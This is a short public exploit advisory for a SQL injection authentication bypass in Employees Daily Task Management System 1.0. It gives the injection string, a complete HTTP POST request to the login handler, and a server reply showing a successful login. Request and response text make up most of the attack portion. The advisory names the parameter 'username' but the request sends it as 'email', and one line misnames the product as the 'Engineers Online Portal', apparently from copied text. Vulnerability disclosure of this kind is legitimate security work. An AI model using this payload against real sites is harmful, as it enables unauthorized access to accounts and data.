Employees Daily Task Management System 1.0 SQL Injection

`# Exploit Title: Employees Daily Task Management System 1.0 - 'username' SQLi Authentication Bypass  
# Exploit Author: able403  
# Date: 08/12/2021  
# Vendor Homepage: https://www.sourcecodester.com/php/15030/employee-daily-task-management-system-php-and-sqlite-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip  
# Version: 1.0  
# Tested on: windows 10   
# Vulnerable page: Actions.php  
# VUlnerable parameters: "username"  
  
Technical description:  
  
An SQL Injection vulnerability exists in theEmployees Daily Task Management System admin login form which can allow an attacker to bypass authentication.  
  
Steps to exploit:  
  
1) Navigate to http://localhost/login.php  
  
2) Insert your payload in the user or password field   
  
3) Click login  
  
Proof of concept (Poc):  
  
The following payload will allow you to bypass the authentication mechanism of the Engineers Online Portal login form -   
  
123'+or+1=1+--+-  
  
  
  
  
---   
  
  
  
  
POST /Actions.php?a=employee_login HTTP/1.1  
  
Host: localhost  
  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0  
  
Accept: application/json, text/javascript, */*; q=0.01  
  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
  
Accept-Encoding: gzip, deflate  
  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
  
X-Requested-With: XMLHttpRequest  
  
Content-Length: 43  
  
Origin: http://edtms.com  
  
Connection: close  
  
Referer: http://edtms.com/login.php  
  
Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl  
  
  
  
  
email=admin'+or+1=1+--+-&password=123123213  
  
  
  
  
response  
  
  
  
  
HTTP/1.1 200 OK  
  
Date: Wed, 10 Nov 2021 02:23:38 GMT  
  
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02  
  
X-Powered-By: PHP/8.0.2  
  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
  
Cache-Control: no-store, no-cache, must-revalidate  
  
Pragma: no-cache  
  
Connection: close  
  
Content-Type: text/html; charset=UTF-8  
  
Content-Length: 48  
  
  
  
  
{"status":"success","msg":"Login successfully."}  
  
  
  
  
---  
`